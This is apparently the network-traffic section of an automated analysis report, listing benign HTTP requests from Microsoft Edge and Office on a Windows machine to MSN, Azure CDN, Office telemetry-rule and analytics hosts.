Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=09AD4FBAEAAE613425ED5A9DEBF960D9&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=d7a261280809462aeb9b91276f11b57f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09AD4FBAEAAE613425ED5A9DEBF960D9; _EDGE_S=F=1&SID=00E043A9BE346C330DA1568EBFDC6DE2; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1730230520719&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09AD4FBAEAAE613425ED5A9DEBF960D9&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730230520718&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=8731449fa9984646a5d1482b211350cc&activityId=8731449fa9984646a5d1482b211350cc&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09AD4FBAEAAE613425ED5A9DEBF960D9; _EDGE_S=F=1&SID=00E043A9BE346C330DA1568EBFDC6DE2; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730230520719&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09AD4FBAEAAE613425ED5A9DEBF960D9&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=15F8b93d79137ec05ea6fc31730230525; XID=15F8b93d79137ec05ea6fc31730230525
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730230520718&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=8731449fa9984646a5d1482b211350cc&activityId=8731449fa9984646a5d1482b211350cc&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=21CB01763B944C998944E8F4E1BB69C1&MUID=09AD4FBAEAAE613425ED5A9DEBF960D9 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09AD4FBAEAAE613425ED5A9DEBF960D9; _EDGE_S=F=1&SID=00E043A9BE346C330DA1568EBFDC6DE2; _EDGE_V=1; _C_ETH=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
